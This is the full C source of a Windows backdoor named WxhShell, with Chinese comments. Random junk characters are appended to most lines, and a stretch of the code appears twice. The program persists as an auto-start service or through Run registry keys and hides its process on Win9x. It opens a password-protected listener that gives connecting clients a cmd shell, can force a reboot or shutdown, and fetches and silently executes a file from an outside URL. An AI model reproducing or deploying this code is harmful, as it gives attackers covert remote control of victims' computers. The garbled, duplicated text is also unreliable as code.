    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !t+eJj  
    else { @c^g<  
    closesocket(wsh); <;':'sW  
    ExitThread(0); NM&R\GI  
    } &xMQ  
    break; \s">trXwX  
    } W#lt_2!j  
  // 获取shell fW8whN  
  case 's': { <-Q0s%mNj,  
    CmdShell(wsh); [gxH,=Pb  
    closesocket(wsh); N"&qy3F  
    ExitThread(0); jv'q :uA^  
    break; %E`=c]!  
  } \K(QE ~y'W  
  // 退出 |FxTP&8~  
  case 'x': { bd@1j`i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HC/?o0  
    CloseIt(wsh); 1n|K   
    break;  $qyST  
    } f,QBj{M,  
  // 离开 +a!uS0fIJi  
  case 'q': { co [  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kCZxv"Ts  
    closesocket(wsh); Swnom?t  
    WSACleanup(); V[baGNe  
    exit(1); =Z}=nS?4  
    break; ,1|0]:  
        } =X}s^KbI{  
  } TOXZl3 s5#  
  } fT  
&VfMv'%x  
  // 提示信息 >XK |jPK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |&0zAP"\  
} #>\%7b59>  
  } T@\%h8@~]  
I18<brZJ  
  return; tA]Y=U+Q  
} Q2nqA1sRk  
d+158qQOh]  
// shell模块句柄 +EE(d/ f  
int CmdShell(SOCKET sock) W+D{4:  
{ RLr^6+v)U  
STARTUPINFO si; rX@?~(^ML  
ZeroMemory(&si,sizeof(si)); Spt;m0W90  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +W[NgUrGJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mr\C  
PROCESS_INFORMATION ProcessInfo; [3fmhc  
char cmdline[]="cmd"; l~*D jr~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N/i {j.=  
  return 0; o`<ps$ yT  
} z< ,rE  
]aTF0 R  
// 自身启动模式  _)=eE  
int StartFromService(void) ,ou&WI yC  
{ w-?|6I}T  
typedef struct  ua] ?D2  
{ iK3gw<g  
  DWORD ExitStatus; zaMKwv}BR  
  DWORD PebBaseAddress; J1gLT $  
  DWORD AffinityMask; ,%EGM+  
  DWORD BasePriority; h1jEulcMtq  
  ULONG UniqueProcessId; Z]x)d|3;  
  ULONG InheritedFromUniqueProcessId; '5 kSr(  
}   PROCESS_BASIC_INFORMATION; 't <hhjPqY  
#AUV&pI[  
PROCNTQSIP NtQueryInformationProcess; CwQRHi  
S^*ME*DDz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3KN>t)A#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g]Fm%iy  
8KyF0r?  
  HANDLE             hProcess; 5;_&C=[  
  PROCESS_BASIC_INFORMATION pbi; {&d )O  
`;\~$^sj}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E (bx/f  
  if(NULL == hInst ) return 0; fs;pX/:FR  
4NxI:d$&*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J'#R9NO<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mqk tM6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V.^Z)iNf^  
uPQrDr5  
  if (!NtQueryInformationProcess) return 0; h&j9'  
)R@M~d-o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CGY,I UG  
  if(!hProcess) return 0; X w_6SR9C  
f5dctDHP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OXIy0].b  
nHTb~t5Ke  
  CloseHandle(hProcess); 0o &B 7N  
\>nY%*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fZF.eRP '  
if(hProcess==NULL) return 0; `(Ij@8 4  
7zEpuw  
HMODULE hMod; NQqq\h  
char procName[255]; 0FG|s#Ig  
unsigned long cbNeeded; Fooa~C"  
'ghwc:Og|%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y~/i{a;1y  
[y(AdZ0*  
  CloseHandle(hProcess); X Cf!xIv  
e =Teq~K  
if(strstr(procName,"services")) return 1; // 以服务启动 $ Ov#^wfA  
_ pKWDMB$z  
  return 0; // 注册表启动 m. DC  
} JDj^7\`  
$3D#U^7i  
// 主模块 f%cbBx^;  
int StartWxhshell(LPSTR lpCmdLine) IM9P5?kJ ?  
{ SlojB^%  
  SOCKET wsl; V^5Z9!  
BOOL val=TRUE; =V*4&OU  
  int port=0; R'1L%srTM+  
  struct sockaddr_in door; 5KvqZ1L  
2z615?2_U  
  if(wscfg.ws_autoins) Install(); pSh$#]mZ`  
ti}G/*4  
port=atoi(lpCmdLine); 11jDAA(|  
}&:F,q*  
if(port<=0) port=wscfg.ws_port; n9N '}z  
Y:'#jY*V  
  WSADATA data; JBxizJBP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h(Ccm44  
v'X=|$75  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T^XU5qgN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qb~&a1&s#  
  door.sin_family = AF_INET; Kt/Wd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^":Dk5gl  
  door.sin_port = htons(port); +KKx\m*  
H]d'#1G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M +Jcg b]  
closesocket(wsl); 9 &p;2/H  
return 1; ~sUWXw7~  
} T_1p1Sg  
tpP2dg9dF  
  if(listen(wsl,2) == INVALID_SOCKET) { {_<,5)c  
closesocket(wsl); }$T!qMst{  
return 1; ?~#{3b  
} `UH 1B/  
  Wxhshell(wsl); X"pp l7o  
  WSACleanup(); P|{Et=R`1  
`p{,C`g,R  
return 0; N>3X!K  
6A \Z221E  
} Isna KcLM  
AiE\PMF~{P  
// 以NT服务方式启动 s#2<^6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _mSQ>BBRl  
{ # 5C)k5  
DWORD   status = 0; h`HdM58CQ  
  DWORD   specificError = 0xfffffff; xPJ kadu  
P<GHX~nB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %*`yd.L0W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :U$U:e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vj{}cL"MR  
  serviceStatus.dwWin32ExitCode     = 0; 9}DF*np`G  
  serviceStatus.dwServiceSpecificExitCode = 0; LwL\CE_6+  
  serviceStatus.dwCheckPoint       = 0; #ZS8}X*S  
  serviceStatus.dwWaitHint       = 0; TSCc=c  
u{"@ 4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r GxX]  
  if (hServiceStatusHandle==0) return; >W[#-jA_Z  
sB>ZN3ptH^  
status = GetLastError(); YMEI J}  
  if (status!=NO_ERROR) ,H+LE$=  
{ Z6XP..  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^&-H"jF  
    serviceStatus.dwCheckPoint       = 0; 2E X Rq  
    serviceStatus.dwWaitHint       = 0; u]%>=N(^2  
    serviceStatus.dwWin32ExitCode     = status; zu-1|X X  
    serviceStatus.dwServiceSpecificExitCode = specificError; N2_9V~!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); , BCo/j  
    return; +m8gS;'R4  
  } N>J"^GX  
~0~f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OK"B`*  
  serviceStatus.dwCheckPoint       = 0; P Zc{wbjp&  
  serviceStatus.dwWaitHint       = 0; wRi` L7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j/9Uf|z-_  
} u/8urxp y  
lC&B4zec  
// 处理NT服务事件,比如:启动、停止 kW=GFj)L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r+WY7'c  
{ >S:>_&I`I  
switch(fdwControl) o>'1ct  
{ ]{<`W5 b/  
case SERVICE_CONTROL_STOP: ]2Q:&T  
  serviceStatus.dwWin32ExitCode = 0; yHL5gz@k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C*I~14  
  serviceStatus.dwCheckPoint   = 0; 3h|:ew[  
  serviceStatus.dwWaitHint     = 0; bkgJz+u  
  { P5*~ Wi`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ydr/ T/1  
  } \dz@hJl:  
  return; eHjn<@  
case SERVICE_CONTROL_PAUSE: ~yvOR`2Gg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i@C$O.m(  
  break; D/&^Y'|T  
case SERVICE_CONTROL_CONTINUE: < <vE.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lV0\UySH  
  break; NHCdf*  
case SERVICE_CONTROL_INTERROGATE: -OS&(7  
  break; u0(PWCi2  
}; '`*{ig  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pkbx /\  
} oe:@7stG  
@ !:~gQ  
// 标准应用程序主函数 2AAZZx +$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) De(\ <H#  
{ Hi 1@  
=a<};X  
// 获取操作系统版本 ! Bv"S0  
OsIsNt=GetOsVer(); WD^!G;}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1.Ximom  
8SGFzb! h  
  // 从命令行安装 BF_R8H,<%  
  if(strpbrk(lpCmdLine,"iI")) Install(); RG)!v6  
-H3tBEvoI  
  // 下载执行文件 (,gpR4O[  
if(wscfg.ws_downexe) { R{5xb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v){&g5djl  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qw ukhD7  
} \V#2K><  
|nN{XjNfP5  
if(!OsIsNt) { Qv%"iSe~J  
// 如果时win9x,隐藏进程并且设置为注册表启动 to1{7q  
HideProc(); |-HV@c]  
StartWxhshell(lpCmdLine); {1Z`'.FU  
} $EB&]t+  
else k(oHmw  
  if(StartFromService()) . _5g<aw;  
  // 以服务方式启动 V^P]QQ\ )  
  StartServiceCtrlDispatcher(DispatchTable); )@xHL]!5m  
else \tj7Jy  
  // 普通方式启动 "Z&-:1tP{9  
  StartWxhshell(lpCmdLine); o 26R]  
0Jh^((i*  
return 0; L* Mt/  
} :D>afC8,  
gJ_{V;R  
/R@,c B=  
GnlP#;  
=========================================== =""z!%j  
P9)E1]Dc$  
zoV4Gl  
P,x'1 `k~  
:@:i*2=  
brA\Fp^  
" 9y(75Bn9  
pcd*K)  
#include <stdio.h> y mdZ#I-  
#include <string.h> ,&$+ {3  
#include <windows.h> WB2An7i@"{  
#include <winsock2.h> W)dQ yZ>J  
#include <winsvc.h> ad "yo=%1  
#include <urlmon.h> ieN}Ajl2  
8IYn9<L  
#pragma comment (lib, "Ws2_32.lib") v)*/E'Cr*  
#pragma comment (lib, "urlmon.lib") qn VxP&  
o~#cpU4{o  
#define MAX_USER   100 // 最大客户端连接数 sw.cw}1  
#define BUF_SOCK   200 // sock buffer }Km+5'G'U  
#define KEY_BUFF   255 // 输入 buffer cnQ;6LtFTz  
e`pYO]Z  
#define REBOOT     0   // 重启 Ak`7f$z  
#define SHUTDOWN   1   // 关机 :Yi1#  
@5!Mr5;  
#define DEF_PORT   5000 // 监听端口 Z*EK56.b  
VQ5D?^'0/  
#define REG_LEN     16   // 注册表键长度 jN\} l|;q  
#define SVC_LEN     80   // NT服务名长度 'u6T^YS  
)[d?&GK  
// 从dll定义API 9 )1 8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2lVJ"jg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /;7\HZ$@/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'D ,efTq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d NQ?8P-&  
Yj/aa0Ka4  
// wxhshell配置信息 S+^*rw  
struct WSCFG { vUEG0{8l  
  int ws_port;         // 监听端口 t$NK{Mw5_  
  char ws_passstr[REG_LEN]; // 口令 /gkHV3}fu  
  int ws_autoins;       // 安装标记, 1=yes 0=no :+%"kgJNL  
  char ws_regname[REG_LEN]; // 注册表键名 4K_rL{s0U  
  char ws_svcname[REG_LEN]; // 服务名 'Vwsbm tY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zj@k3y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Arg604V3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~)\9f 1O{^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zn| S3c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gnjh=anVX1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b&AGVWhh  
 `mar-r_m  
}; <L4.*  
= GN1l[X  
// default Wxhshell configuration 3/rEXKS  
struct WSCFG wscfg={DEF_PORT, 0p"l}Fu@`  
    "xuhuanlingzhe", < Y5pAStg  
    1, ^}JGWGib=+  
    "Wxhshell", snPM&  
    "Wxhshell", xq`mo  
            "WxhShell Service", OF[y$<jM  
    "Wrsky Windows CmdShell Service", MKqMH,O  
    "Please Input Your Password: ", T5* t~`bfU  
  1, ch|4"&g  
  "http://www.wrsky.com/wxhshell.exe", sw<mmayN  
  "Wxhshell.exe" 0(!j]w"r3  
    }; K`7(*!HEb  
4+rr3 $AY  
// 消息定义模块 bXVH7Fy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /.54r/FN')  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZY_aE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F E`4%X  
char *msg_ws_ext="\n\rExit."; v2OK/W,0  
char *msg_ws_end="\n\rQuit."; (x;Uy  
char *msg_ws_boot="\n\rReboot..."; :@mBSE/  
char *msg_ws_poff="\n\rShutdown..."; -~ w5 yd  
char *msg_ws_down="\n\rSave to "; _Xs(3V@'}  
Q"o* \I  
char *msg_ws_err="\n\rErr!"; Z>0a?=1[  
char *msg_ws_ok="\n\rOK!"; |;~kHc$W  
<SK%W=  
char ExeFile[MAX_PATH]; 5 )tDgm  
int nUser = 0; >3{#S:  
HANDLE handles[MAX_USER]; I4[sf  
int OsIsNt; ]q#w97BxiJ  
~ IPel  
SERVICE_STATUS       serviceStatus; N4]Sp v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]i$ <<u  
$ z4JUr!m  
// 函数声明 5k%Gj T  
int Install(void); <OX_6d*@  
int Uninstall(void); ( (.b&  
int DownloadFile(char *sURL, SOCKET wsh); OvL@@SX |  
int Boot(int flag); K fM6(f:  
void HideProc(void); OZDd  
int GetOsVer(void); D<V[:~-o  
int Wxhshell(SOCKET wsl); Y^Of  
void TalkWithClient(void *cs); ~3f`=r3/.  
int CmdShell(SOCKET sock); EESGU(  
int StartFromService(void); +<l6!r2Z  
int StartWxhshell(LPSTR lpCmdLine); 6wIo95`  
]2:w?+T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  Ptt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (d9G`  
54X=58Q  
// 数据结构和表定义 *$%ch=  
SERVICE_TABLE_ENTRY DispatchTable[] = ld*W\  
{ F0 .Rv):  
{wscfg.ws_svcname, NTServiceMain}, WruSL|4iH  
{NULL, NULL} = aO1uC|6C  
}; LS"_-4I}  
s5`CV$bz  
// 自我安装 !hMD>B2Z  
int Install(void) eo#2n8I>=1  
{ j{8;5 ?x  
  char svExeFile[MAX_PATH]; !?AgAsSmc  
  HKEY key; U?@ s`.  
  strcpy(svExeFile,ExeFile); Ff eX;pi  
4q9+a7@  
// 如果是win9x系统,修改注册表设为自启动 Yz%AKp  
if(!OsIsNt) { ":qhO0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "3&bh>#qY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hg2a,EU\Z  
  RegCloseKey(key); ILN Yh3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sJI" m'r=Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aXv[~  
  RegCloseKey(key); ec8 iZ8h8  
  return 0; k?!CJ@5$  
    } =3~5I&  
  } 1 N{unS  
} `\p5!Iq Q  
else { c @U\d<{w  
W"{:|'/v  
// 如果是NT以上系统,安装为系统服务 i1c z+}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (h8RthQt  
if (schSCManager!=0) Ihn#GzM?u  
{ U"qR6  
  SC_HANDLE schService = CreateService QIK;kjr*A3  
  ( sYfiC`9SO  
  schSCManager, **,(>4j  
  wscfg.ws_svcname, 0Z.X;1=  
  wscfg.ws_svcdisp, bjL8Wpk  
  SERVICE_ALL_ACCESS, a)o-6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B;vpG?s{9  
  SERVICE_AUTO_START, MvCB|N"qy  
  SERVICE_ERROR_NORMAL, Th'B5:`  
  svExeFile, zfsGf 'U  
  NULL, =qJlSb  
  NULL, No\3kRB4bi  
  NULL, KbXENz&C  
  NULL, 4MFdhJoN  
  NULL IPVD^a ?  
  ); Kggc9^ 7  
  if (schService!=0) 'DhH:PR  
  { 9}*Pb6  
  CloseServiceHandle(schService); lH%%iYBM  
  CloseServiceHandle(schSCManager); tM:%{az  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o8RVmOXe  
  strcat(svExeFile,wscfg.ws_svcname); 7hzd.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dED&-e#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JK%UaEut=  
  RegCloseKey(key); 'NAC4to;;  
  return 0; \yE*nZ  
    } &6@# W]_  
  } -f-@[;D  
  CloseServiceHandle(schSCManager); TOH+JL8L  
} srGF=1_  
} lZ*V.-D^]  
S^c; i  
return 1; WV8vDv1jt  
} x:? EL)(  
pba`FC4R  
// 自我卸载 NMvNw?]  
int Uninstall(void) d#U~>wr  
{ UhX)?'J  
  HKEY key; Zk+c9,q  
`9`T,uJe  
if(!OsIsNt) { _'}Mg7,V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fG,)`[eD!_  
  RegDeleteValue(key,wscfg.ws_regname); m\.(-  
  RegCloseKey(key); 2:jWO_V@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6JB* brO  
  RegDeleteValue(key,wscfg.ws_regname); E4cPCQyeH  
  RegCloseKey(key); lzbAx  
  return 0; lJJ`aYDp  
  } !+)5?o  
} v.!e1ke8D*  
} -)%g MD~z1  
else { x4N*P  
=JGL~t?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @c -| Sl  
if (schSCManager!=0) ~(x"Y\PEu  
{ }Y&|v q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PNB E  
  if (schService!=0) {3qlx1w  
  { 2EC<8}CG  
  if(DeleteService(schService)!=0) { ([ODmZHv  
  CloseServiceHandle(schService); hRI?>an  
  CloseServiceHandle(schSCManager); =,J-D6J?  
  return 0; nr?|!gj  
  } ec&K}+p@  
  CloseServiceHandle(schService); l Zz%W8"  
  } 0..]c-V(G  
  CloseServiceHandle(schSCManager); 3Hi[Y[O`%P  
} IIY3/   
} |@Ze{\  
z5 g4+y,  
return 1; ] L6LB \  
} nc9sfH3  
~N]pB]/][  
// 从指定url下载文件 gkFw=Cd  
int DownloadFile(char *sURL, SOCKET wsh) 5_+pgJL  
{ D16w!Mnz{K  
  HRESULT hr; 2I>`{#fV  
char seps[]= "/"; m:)s UC0  
char *token; j58'P 5N  
char *file; aflBDo1c  
char myURL[MAX_PATH];  jAxrU  
char myFILE[MAX_PATH]; pnp)- a*7  
nU,~*Us  
strcpy(myURL,sURL); ^ 0g!,L  
  token=strtok(myURL,seps); nC5]IYL|  
  while(token!=NULL) VLcwBdo  
  { ,DD}o  
    file=token; h'"~t#r  
  token=strtok(NULL,seps); hH~GH'dnaE  
  } 62 9g_P)  
(b"kN(  
GetCurrentDirectory(MAX_PATH,myFILE); =3EE-%eF!  
strcat(myFILE, "\\"); 7{Zs"d{s  
strcat(myFILE, file); !7n`-#)  
  send(wsh,myFILE,strlen(myFILE),0); 6B!v;93U  
send(wsh,"...",3,0); & R,QJ4L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6$&%z Eh  
  if(hr==S_OK) V$g!#V  
return 0; OV/ &'rC  
else H+5S )r  
return 1; 4O7 {a  
\ch4c9  
} [{.9#cQ "  
f>[{1M]n\  
// 系统电源模块 qkA8q@Y4|  
int Boot(int flag) ddwokXx (  
{ Lt_A&  
  HANDLE hToken; (g3DI*Z  
  TOKEN_PRIVILEGES tkp; Ge ?Q)N  
+ctJV>  
  if(OsIsNt) { w ,-4A o2x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /kV5~i<1S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qZ%0p*P#_  
    tkp.PrivilegeCount = 1; yJ*g ;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m1DrT>oN'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i?D)XXB85  
if(flag==REBOOT) { ~Z}DN*S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V?- ]ZkI  
  return 0; n um2HtU&%  
} oC}2 Z{  
else { c!a1@G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _Jn@+NoO  
  return 0; Rnw v/)  
} XBm ^7'  
  } C1x(4&h  
  else { kZ'wXtBYe  
if(flag==REBOOT) { (s,u9vj=>L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $msf~M*  
  return 0; br')%f}m  
} ri h@(;)1  
else { =kb/4eRg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]<k+a-Tt  
  return 0; h* V~.H  
} 4U*CfdZZ  
} 'H(khS  
:8U@KABH@h  
return 1; 2Yg\<Ps N  
} dMK\ y4#i  
1IN^,A]r2h  
// win9x进程隐藏模块 )CD-cz6n  
void HideProc(void) )v %tyU  
{ ^L-; S  
w" Y'I$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `V{'GF&[  
  if ( hKernel != NULL ) /%AA\`: 6  
  { ?~X^YxWsY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f@ .s(i=z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =D Tbz3<  
    FreeLibrary(hKernel); EMf"rGXu(  
  } w0 1u~"E  
(^$SM uC  
return; @@& ? ,3  
} {-51rAyi  
$AHdjQ[;6-  
// 获取操作系统版本 vk<4P;A(G  
int GetOsVer(void) cHon' tS  
{ 6|Xm8,]yRw  
  OSVERSIONINFO winfo; }'4aW_ta  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .q'{ 3  
  GetVersionEx(&winfo); 9'A^n~JHF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [_HOD^  
  return 1; w sbzGW~=  
  else toel!+  
  return 0; gp4@6HuUd  
} 5UvqE_  
Y{<SD-ibZ$  
// 客户端句柄模块 6*s:I&  
int Wxhshell(SOCKET wsl) -+W E9  
{ '~E=V:6  
  SOCKET wsh; c\VD8 :  
  struct sockaddr_in client; aK--D2@}i  
  DWORD myID; 9:7&`J lC#  
d_ji ..T  
  while(nUser<MAX_USER) oG=4&SQ  
{ +0M0g_sk  
  int nSize=sizeof(client); S6{u(= H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dyh|F\T  
  if(wsh==INVALID_SOCKET) return 1; cG5u$B  
Mh=j^ [4Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w\ddC DZ  
if(handles[nUser]==0) R/kF,}^F  
  closesocket(wsh); *mkL>v &  
else lbC9^~T+  
  nUser++; /|8/C40aY  
  } <X ([VZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z0?IQzR^T  
|9]_<X[ic  
  return 0; Ie/dMB=t  
} ;ibOd~  
Zn6u6<O=  
// 关闭 socket 0xc|Wn>  
void CloseIt(SOCKET wsh) T=VBKaSbU  
{ [#;CBs5o  
closesocket(wsh); {`V ^V_  
nUser--; O|*-J  
ExitThread(0); t>eeOWk3  
} Tb!jIe  
uYXkD#{  
// 客户端请求句柄 yE|hA2G?0  
void TalkWithClient(void *cs) EU.!/'<  
{ ~c@@m\C"b  
qb +Gjgp  
  SOCKET wsh=(SOCKET)cs; a&<_M$J&  
  char pwd[SVC_LEN]; #O!gjZ,  
  char cmd[KEY_BUFF]; jAfqC@e  
char chr[1]; `( _N9.>B  
int i,j; `W2 o~r*&  
xo#K_"E  
  while (nUser < MAX_USER) { B[fbPrM  
)^m"fQ+  
if(wscfg.ws_passstr) { R+ tQvxp#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rln% Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) h=[7}|  
  //ZeroMemory(pwd,KEY_BUFF); cnj32H^+  
      i=0; =21m|8c  
  while(i<SVC_LEN) { u|75r%p>  
t"X^|!hKIF  
  // 设置超时 [!U! Z'i  
  fd_set FdRead; N_?15R7h  
  struct timeval TimeOut; fzzk#jU  
  FD_ZERO(&FdRead); 13f 'zx(AO  
  FD_SET(wsh,&FdRead); Uac.8wQh  
  TimeOut.tv_sec=8; ?4#wVzuzA  
  TimeOut.tv_usec=0; 9)D9'/{L#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tfVlIY<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UP*5M  
O T .bXr~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U2jlDx4yg  
  pwd=chr[0]; nRcy`A%  
  if(chr[0]==0xd || chr[0]==0xa) { 5QZ}KNJ|t~  
  pwd=0; ;jFUtG  
  break; d t^Hd]+^\  
  } !nTI(--  
  i++; *`V r P  
    } R[}fr36>/  
<STE~ZmO  
  // 如果是非法用户,关闭 socket %Q zk aXJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ozW\`  
} OXF/4Oe  
\Yr&vX/[p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _eUd RL>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ex8}./mjJ  
L@`:mK+;  
while(1) { eJE!\ucS2W  
qEfg-`*M  
  ZeroMemory(cmd,KEY_BUFF); {}"a_L&[;  
hQaa"U7[  
      // 自动支持客户端 telnet标准   ow*^z78M{  
  j=0; Qb'Q4@.  
  while(j<KEY_BUFF) { +.McC$!s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Z jE(3i  
  cmd[j]=chr[0]; C#P7@JE  
  if(chr[0]==0xa || chr[0]==0xd) { 4tz@?T Cb  
  cmd[j]=0; Fz2C XC  
  break; r:H.VAD  
  } E51S#T  
  j++;  yHn8t]{  
    } qEM,~:lTn  
G!7A]s>C  
  // 下载文件 pet q6)g?  
  if(strstr(cmd,"http://")) { =h[;'v{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :"`1}Q  
  if(DownloadFile(cmd,wsh)) VlS`m,:{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R{q<V uN  
  else wQojmmQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (/A 6kp?  
  } L | #"Yn  
  else { F{laA YE  
;n.SRy6  
    switch(cmd[0]) { VN]j*$5   
  aEdc8i ?  
  // 帮助 U3t) yr h  
  case '?': { AA[?a  
